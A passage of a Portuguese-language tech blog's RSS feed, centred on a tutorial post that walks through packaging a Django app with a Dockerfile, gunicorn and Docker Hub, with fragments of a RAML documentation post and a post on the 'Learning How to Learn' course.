/static/fa67e81f6682a91ec52b768cbcd65d95/804b2/raml2html-example-2.png 384w,
/static/fa67e81f6682a91ec52b768cbcd65d95/6af66/raml2html-example-2.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de documentação RAML&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Você pode criar o seu próprio template! Eles são escritos utilizando o
&lt;a href=&quot;https://mozilla.github.io/nunjucks/&quot; title=&quot; A rich and powerful templating language for JavaScript.&quot;&gt;&lt;em&gt;Nunjucks&lt;/em&gt;&lt;/a&gt;,
linguagem de templates &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt; da &lt;em&gt;Mozilla&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;post&lt;/em&gt; de hoje foi uma dica rápida e rasteira.&lt;/p&gt;
&lt;p&gt;A partir do momento que você pratica o
&lt;a href=&quot;https://swaggerhub.com/blog/api-design/design-first-or-code-first-api-development/&quot; title=&quot;Design First or Code First: What’s the Best Approach to API Development?&quot;&gt;&lt;em&gt;design first&lt;/em&gt;&lt;/a&gt;,
ter uma especificação &lt;em&gt;RAML&lt;/em&gt; como &quot;single source of truth&quot; é um caminho no mínimo razoável.
Com isso, gerar documentações através de ferramentas como a apresentada nesse artigo torna-se
algo rápido e prático.&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Uma ode ao Docker - Parte 3]]></title><description><![CDATA[Nos posts
anteriores
arranhamos um pouco o conceito por trás do Docker,
bem como introduzimos o utilitário de linha de comando . Nesse…]]></description><link>https://klauslaube.com.br/2017/08/11/uma-ode-ao-docker-parte-3.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/08/11/uma-ode-ao-docker-parte-3.html</guid><pubDate>Fri, 11 Aug 2017 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Nos &lt;a href=&quot;/2017/01/14/uma-ode-ao-docker-parte-1.html&quot; title=&quot;Uma ode ao Docker - Parte 1&quot;&gt;&lt;em&gt;posts&lt;/em&gt;&lt;/a&gt;
&lt;a href=&quot;/2017/05/01/uma-ode-ao-docker-parte-2.html&quot; title=&quot;Uma ode ao Docker - Parte 2&quot;&gt;anteriores&lt;/a&gt;
arranhamos um pouco o conceito por trás do &lt;a href=&quot;/tag/docker.html&quot; title=&quot;Leia mais sobre Docker&quot;&gt;&lt;em&gt;Docker&lt;/em&gt;&lt;/a&gt;,
bem como introduzimos o utilitário de linha de comando &lt;code class=&quot;language-text&quot;&gt;docker&lt;/code&gt;. Nesse último artigo da série, vamos
explorar como usar o &lt;em&gt;Dockerfile&lt;/em&gt; no empacotamento de uma aplicação &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Se você ainda tem dúvidas em como &quot;encaixar&quot; o &lt;em&gt;Docker&lt;/em&gt; no seu fluxo de desenvolvimento,
o artigo &lt;a href=&quot;http://www.patricksoftwareblog.com/why-i-switched-from-a-traditional-deployment-to-using-docker/&quot; title=&quot;Leia na íntegra&quot;&gt;&quot;Why I Switched from a Traditional Deployment to Using Docker&quot;&lt;/a&gt;
pode ser uma boa leitura.&lt;/p&gt;
&lt;h2&gt;Configurando a aplicação Django&lt;/h2&gt;
&lt;p&gt;Vamos configurar uma aplicação de exemplo para sermos capazes de dar os passos necessários
na criação do &lt;code class=&quot;language-text&quot;&gt;Dockerfile&lt;/code&gt;. Primeiramente, vamos criar
&lt;em&gt;&lt;a href=&quot;/tag/virtualenv.html&quot; title=&quot;Leia mais sobre virtualenv&quot;&gt;virtualenv&lt;/a&gt; Python&lt;/em&gt; com &lt;a href=&quot;/tag/pyenv.html&quot; title=&quot;Leia mais sobre Pyenv&quot;&gt;&lt;em&gt;pyenv&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pyenv virtualenv 3.6.1 helloworld-django-docker&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Criamos o diretório para o projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mkdir ~/Workspace/helloworld
$ cd ~/Workspace/helloworld/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ativamos o &lt;em&gt;virtualenv&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pyenv activate helloworld-django-docker&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Instalamos as dependências &lt;em&gt;Django&lt;/em&gt; e iniciamos o projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install django gunicorn
(...)

$ pip freeze &gt; requirements.txt
$ django-admin startproject helloworld ~/Workspace/helloworld&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Rodamos o &lt;code class=&quot;language-text&quot;&gt;python manage.py runserver&lt;/code&gt; só para termos certeza que está tudo ok:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 680px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/5a7440d2ea5c9d929abc9e6b2ea893c9/c5bb3/django-it-worked.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 19.270833333333332%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAqUlEQVQI13XK2Q6CMBAFUP7/m/TRyKPQUgqdCgiWfQdNwW3wWZOTyc29Y+yPbHdwLFEHxRPUskk3QmlQ+pw/wvL9j2GeItOKbGh4NLJwILJBVLZEtpao/OSOT0Hx+slI0iYr+1hVSVqjvBpUjk2Xll1W9Ji7SY+3dZjR8g3LMC3jvPaTNiixXeY4lFJCXMY87voev0QhCB97XDh3JYAEISXgiheBENck/gAIKNcM75UdDwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;It worked&amp;quot;&quot;
        title=&quot;It worked&quot;
        src=&quot;/static/5a7440d2ea5c9d929abc9e6b2ea893c9/c5bb3/django-it-worked.png&quot;
        srcset=&quot;/static/5a7440d2ea5c9d929abc9e6b2ea893c9/8514f/django-it-worked.png 192w,
/static/5a7440d2ea5c9d929abc9e6b2ea893c9/804b2/django-it-worked.png 384w,
/static/5a7440d2ea5c9d929abc9e6b2ea893c9/c5bb3/django-it-worked.png 680w&quot;
        sizes=&quot;(max-width: 680px) 100vw, 680px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;It worked&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Além disso, garantimos que o &lt;code class=&quot;language-text&quot;&gt;gunicorn&lt;/code&gt; rodará sem maiores problemas:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ gunicorn helloworld.wsgi:application \
    --bind 0.0.0.0:8000 \
    --workers 3&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para saber mais sobre o &lt;em&gt;Gunicorn&lt;/em&gt;, leia a &lt;a href=&quot;http://docs.gunicorn.org/en/stable/design.html&quot; title=&quot;Documentação do Gunicorn&quot;&gt;documentação oficial&lt;/a&gt; do projeto.&lt;/p&gt;
&lt;h2&gt;Entra o Dockerfile&lt;/h2&gt;
&lt;p&gt;Com o &lt;a href=&quot;https://docs.docker.com/engine/installation/&quot; title=&quot;Instalando o Docker&quot;&gt;&lt;em&gt;Docker&lt;/em&gt; instalado&lt;/a&gt;,
vamos começar a escrever o &lt;code class=&quot;language-text&quot;&gt;Dockerfile&lt;/code&gt;. O &lt;a href=&quot;http://www.mundodocker.com.br/o-que-e-dockerfile/&quot; title=&quot;O que é o Dockerfile&quot;&gt;&lt;em&gt;Mundo Docker&lt;/em&gt;&lt;/a&gt; define o arquivo como:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) um arquivo de definição onde é possível realizar ou preparar todo ambiente a
partir de um script de execução. Em resumo, o Dockerfile é um arquivo texto
com instruções, comandos e passos que você executaria manualmente, basicamente
o Docker executa uma receita de bolo.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;É nesse arquivo que escreveremos todos os procedimentos que o &lt;em&gt;Docker&lt;/em&gt; executará para criar
a imagem da nossa aplicação.&lt;/p&gt;
&lt;h3&gt;Por partes, como diria Jack&lt;/h3&gt;
&lt;p&gt;Começamos especificando qual será a &quot;imagem base&quot; da nossa imagem/&lt;em&gt;container&lt;/em&gt;. Faremos isso
através da expressão &lt;code class=&quot;language-text&quot;&gt;FROM&lt;/code&gt;. Poderíamos dizer aqui que queremos estender a imagem &lt;a href=&quot;https://hub.docker.com/_/debian/&quot; title=&quot;Imagem Debian no Dockerhub&quot;&gt;_/debian&lt;/a&gt;
e realizar toda a instalação do &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;.
Mas felizmente já existem imagens prontas com a linguagem no &lt;em&gt;Docker Hub&lt;/em&gt;.
Vamos com a &lt;a href=&quot;https://hub.docker.com/_/python/&quot; title=&quot;Imagem Python no Docker Hub&quot;&gt;imagem oficial&lt;/a&gt; como base:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;dockerfile&quot;&gt;&lt;pre class=&quot;language-dockerfile&quot;&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Dockerfile&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; python:3&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Quando &quot;buildarmos&quot;, o &lt;em&gt;Docker&lt;/em&gt; baixará a imagem do &lt;em&gt;Python&lt;/em&gt; do repositório (se ela já não existir localmente
em sua máquina), e dará sequência às instruções encontradas no &lt;code class=&quot;language-text&quot;&gt;Dockerfile&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Uma boa prática é &quot;fecharmos o escopo&quot; de trabalho ao setar explicitamente qual será o
diretório no qual iremos realizar demais operações como cópia de arquivos ou execução de binários. Para isso
temos o comando &lt;code class=&quot;language-text&quot;&gt;WORKDIR&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;dockerfile&quot;&gt;&lt;pre class=&quot;language-dockerfile&quot;&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; python:3&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;WORKDIR&lt;/span&gt; /usr/src/app&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora podemos instalar o &lt;em&gt;Django&lt;/em&gt; e o &lt;em&gt;Gunicorn&lt;/em&gt;, assim como fizemos no início desse artigo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;dockerfile&quot;&gt;&lt;pre class=&quot;language-dockerfile&quot;&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; python:3&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;WORKDIR&lt;/span&gt; /usr/src/app&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;COPY&lt;/span&gt; requirements.txt ./&lt;/span&gt;
&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; pip install -r requirements.txt&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Você já deve ter reparado um padrão na escrita do &lt;code class=&quot;language-text&quot;&gt;Dockerfile&lt;/code&gt;, certo? Os comandos (em maiúsculo)
determinam qual operação será realizada. Os parâmetros (em minúsculo) determinam como isso irá ocorrer.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f70d10e197bf514f40c7912e834b89cb/c08c5/docker-dory-whale.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMEAgX/xAAVAQEBAAAAAAAAAAAAAAAAAAACA//aAAwDAQACEAMQAAABlXpNZ9IjEP/EABsQAAIBBQAAAAAAAAAAAAAAAAECAxAREiEy/9oACAEBAAEFAncscjZZNDmn/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFxAAAwEAAAAAAAAAAAAAAAAAAAIQMf/aAAgBAQAGPwI2Nf/EABoQAQEAAgMAAAAAAAAAAAAAAAEAEXExocH/2gAIAQEAAT8hwUcG4LIepEt0PYji/9oADAMBAAIAAwAAABB4/wD/xAAWEQEBAQAAAAAAAAAAAAAAAAABABH/2gAIAQMBAT8QACy//8QAFhEBAQEAAAAAAAAAAAAAAAAAARAh/9oACAECAQE/EHWf/8QAHBABAAMAAgMAAAAAAAAAAAAAAQARITFBUWHB/9oACAEBAAE/ELGRLDF19hoZXtbFc7W+4C2tBT4xOUaCln//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Escrever Dockerfile é tipo falar baleiês (insidethemagic.net)&amp;quot;&quot;
        title=&quot;Escrever Dockerfile é tipo falar baleiês (insidethemagic.net)&quot;
        src=&quot;/static/f70d10e197bf514f40c7912e834b89cb/c08c5/docker-dory-whale.jpg&quot;
        srcset=&quot;/static/f70d10e197bf514f40c7912e834b89cb/7809d/docker-dory-whale.jpg 192w,
/static/f70d10e197bf514f40c7912e834b89cb/4ecad/docker-dory-whale.jpg 384w,
/static/f70d10e197bf514f40c7912e834b89cb/c08c5/docker-dory-whale.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Escrever Dockerfile é tipo falar baleiês (insidethemagic.net)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;No caso do comando &lt;code class=&quot;language-text&quot;&gt;COPY&lt;/code&gt;, passamos o arquivo &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt; da nossa &quot;máquina local&quot; para
o &lt;em&gt;container&lt;/em&gt;, assim o &lt;em&gt;Docker&lt;/em&gt; será capaz de encontrar o arquivo e realizar a instalação das dependências
através do comando &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Para finalizar, podemos copiar o resto do projeto e executar o servidor &lt;em&gt;WSGI&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;dockerfile&quot;&gt;&lt;pre class=&quot;language-dockerfile&quot;&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; python:3&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;WORKDIR&lt;/span&gt; /usr/src/app&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;COPY&lt;/span&gt; requirements.txt ./&lt;/span&gt;
&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;RUN&lt;/span&gt; pip install -r requirements.txt&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;COPY&lt;/span&gt; . .&lt;/span&gt;

&lt;span class=&quot;token instruction&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CMD&lt;/span&gt; [&lt;span class=&quot;token string&quot;&gt;&quot;gunicorn&quot;&lt;/span&gt;, &lt;span class=&quot;token string&quot;&gt;&quot;helloworld.wsgi:application&quot;&lt;/span&gt;, &lt;span class=&quot;token string&quot;&gt;&quot;--bind=0.0.0.0:8000&quot;&lt;/span&gt;, &lt;span class=&quot;token string&quot;&gt;&quot;--workers=3&quot;&lt;/span&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Comandos &lt;code class=&quot;language-text&quot;&gt;RUN&lt;/code&gt; serão executados em tempo de &lt;em&gt;build&lt;/em&gt;. São essenciais para a construção do ambiente,
e são responsáveis pelos &quot;layers&quot; discutidos nos &lt;em&gt;posts&lt;/em&gt; anteriores. Portanto é bem comum
vermos comandos como &lt;code class=&quot;language-text&quot;&gt;RUN apt-get dist-upgrade -y&lt;/code&gt;. Já o &lt;code class=&quot;language-text&quot;&gt;CMD&lt;/code&gt; será executado no momento que a sua
imagem for executada.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://goinbigdata.com/docker-run-vs-cmd-vs-entrypoint/&quot; title=&quot;Docker RUN vs CMD vs ENTRYPOINT&quot;&gt;Diferença entre &lt;code class=&quot;language-text&quot;&gt;RUN&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;CMD&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;ENTRYPONT&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;E se você está se perguntando o motivo de termos dois &lt;code class=&quot;language-text&quot;&gt;COPY&lt;/code&gt;, essa prática é útil para o mecanismo de &lt;em&gt;caching&lt;/em&gt;
do &lt;em&gt;Docker&lt;/em&gt; e invalidação do mesmo, como pode ser visto no &lt;a href=&quot;https://docs.docker.com/engine/userguide/eng-image/dockerfile_best-practices/#add-or-copy&quot; title=&quot;Dockerfile best practices&quot;&gt;guia de boas práticas&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;&quot;Build&quot; é quase BIRL!&lt;/h3&gt;
&lt;p&gt;Hora de &quot;buildar&quot;! Execute o seguinte comando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker build -t &amp;lt;docker-hub-user&gt;/helloworld-django-docker .&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Onde:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;build&lt;/code&gt;: É o comando para criar uma imagem &lt;em&gt;Docker&lt;/em&gt; a partir de um &lt;em&gt;Dockerfile&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;-t&lt;/code&gt;: O parâmetro &lt;code class=&quot;language-text&quot;&gt;-t&lt;/code&gt; é utilizado para nomear e tagear a imagem em questão.
É interessante usar o padrão &lt;code class=&quot;language-text&quot;&gt;&amp;lt;usuario-ou-repositorio&gt;/nome-da-imagem&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;.&lt;/code&gt;: O caminho onde encontra-se o &lt;em&gt;Dockerfile&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Se tudo der certo, será possível listar a imagem recém criada:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker images

REPOSITORY                         TAG    IMAGE ID
kplaube/helloworld-django-docker   latest b8d3b0c234a9&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora sim seremos capazes de executar a aplicação &lt;em&gt;Django&lt;/em&gt; através de um &lt;em&gt;container&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker run -it -p 8000:8000 &amp;lt;docker-hub-user&gt;/helloworld-django-docker&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E mais uma vez seremos capazes de ver o &quot;It worked!&quot; em &lt;code class=&quot;language-text&quot;&gt;http://localhost:8000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Belezura! Uma vez que a imagem esteja ok, podemos publicá-la no &lt;em&gt;Docker Hub&lt;/em&gt; (afinal,
propaganda é a alma do negócio):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker push &amp;lt;docker-hub-user&gt;/helloworld-django-docker&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E... &lt;em&gt;voilá&lt;/em&gt;! A imagem foi publicada no &lt;a href=&quot;https://hub.docker.com/r/kplaube/helloworld-django-docker/&quot;&gt;&lt;em&gt;Docker Hub&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Antes de ir: Efêmero&lt;/h3&gt;
&lt;p&gt;Nos &lt;em&gt;posts&lt;/em&gt; anteriores demos uma pincelada numa das características dos &lt;em&gt;containers&lt;/em&gt;
que é a sua &quot;efemeridade&quot;. Isso significa que, a cada nova versão da sua &lt;em&gt;app Django&lt;/em&gt;
você terá que &quot;buildar&quot; uma nova versão da imagem &lt;em&gt;Docker&lt;/em&gt;. A boa notícia é que com
o mecanismo de &lt;em&gt;caching&lt;/em&gt; do &lt;em&gt;Docker&lt;/em&gt; essa operação deverá ser ligeiramente mais
rápida do que da primeira vez.&lt;/p&gt;
&lt;p&gt;Além disso, mesmo que você tenha uma leve camada de escrita ao executar um &lt;em&gt;container&lt;/em&gt;,
a informação será perdida ao parar/reiniciar o mesmo. Portanto, o uso de &lt;a href=&quot;https://docs.docker.com/engine/admin/volumes/volumes/&quot; title=&quot;Use volumes&quot;&gt;&lt;em&gt;Docker Volumes&lt;/em&gt;&lt;/a&gt;
é essencial quando se faz necessária a persistência de dados.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Com esse &lt;em&gt;post&lt;/em&gt; fechamos essa pequena ode ao &lt;em&gt;Docker&lt;/em&gt;. Sem dúvida, uma ferramenta que vem mudando
paradigmas (o mais recente deles com o &lt;a href=&quot;https://www.opencontainers.org/announcement/2017/07/19/open-container-initiative-oci-releases-v1-0-of-container-standards&quot; title=&quot;Open Container Initiative (OCI) Releases v1.0 of Container Standards&quot;&gt;lançamento da versão 1.0&lt;/a&gt; do &lt;em&gt;Container Standards&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Pretendo abordar mais sobre &lt;em&gt;Docker&lt;/em&gt; aqui no &lt;em&gt;blog&lt;/em&gt;, principalmente detalhando melhor
o uso do mesmo no &lt;a href=&quot;/tag/deploy.html&quot; title=&quot;Leia mais sobre deploy&quot;&gt;&lt;em&gt;deploy&lt;/em&gt;&lt;/a&gt; de aplicações &lt;em&gt;Django&lt;/em&gt;.
Com a adoção de conteinerização por serviços &lt;em&gt;PaaS&lt;/em&gt; como &lt;em&gt;Heroku&lt;/em&gt; e &lt;em&gt;Openshift&lt;/em&gt;,
há muito assunto a ser explorado nessa seara.&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/engine/userguide/eng-image/dockerfile_best-practices/&quot;&gt;Docker Docs - Best practices for writing Dockerfiles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://flaviosilveira.com/2017/criando-seu-container-com-dockerfile/&quot;&gt;Flavio Silveira - Criando Seu Container Com Dockerfile&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.mundodocker.com.br/o-que-e-dockerfile/&quot;&gt;Mundo Docker - O que é Dockerfile&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.patricksoftwareblog.com/how-to-use-docker-and-docker-compose-to-create-a-flask-application/&quot;&gt;Patrick&apos;s Software Blog - How to use Docker and Docker Compose to Create a Flask Application&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://semaphoreci.com/community/tutorials/dockerizing-a-python-django-web-application&quot;&gt;Semaphore - Dockerizing a Python Django web Application&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Aprendendo a Aprender]]></title><description><![CDATA[Já mencionei o "Aprendendo a Aprender"
no post sobre Pomodoro, e
faço questão de citá-lo sempre que possível. O curso, ministrado por…]]></description><link>https://klauslaube.com.br/2017/07/27/aprendendo-a-aprender.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/07/27/aprendendo-a-aprender.html</guid><pubDate>Thu, 27 Jul 2017 20:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Já mencionei o &quot;&lt;a href=&quot;https://www.coursera.org/learn/aprender&quot; title=&quot;Veja o curso em pt-BR&quot;&gt;Aprendendo a Aprender&lt;/a&gt;&quot;
no &lt;em&gt;post&lt;/em&gt; sobre &lt;a href=&quot;/2017/06/29/pomodoro-ftw.html&quot; title=&quot;Leia mais sobre Pomodoro&quot;&gt;&lt;em&gt;Pomodoro&lt;/em&gt;&lt;/a&gt;, e
faço questão de citá-lo sempre que possível. O curso, ministrado por
&lt;a href=&quot;https://en.wikipedia.org/wiki/Barbara_Oakley&quot; title=&quot;Conheça Barbara&quot;&gt;&lt;em&gt;Barbara Oakley&lt;/em&gt;&lt;/a&gt;,
além de inspirador apresenta uma série de ferramentas que irão te ajudar a aprender
o mais maçante dos conteúdos (e farão bem à sua memória).&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;http://www.abbc.org.br/cursos/artigo.asp?id=7&quot; title=&quot;Aprendendo a aprender - 10 regras para estudar bem&quot;&gt;&lt;em&gt;ABBC&lt;/em&gt;&lt;/a&gt;
bem que tentou descrever a tutora:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;É difícil definir uma profissão para Barbara Oakley. Ela se formou em Literatura
e Línguas Eslavas, trabalhou como tradutora no exército americano, até que decidiu
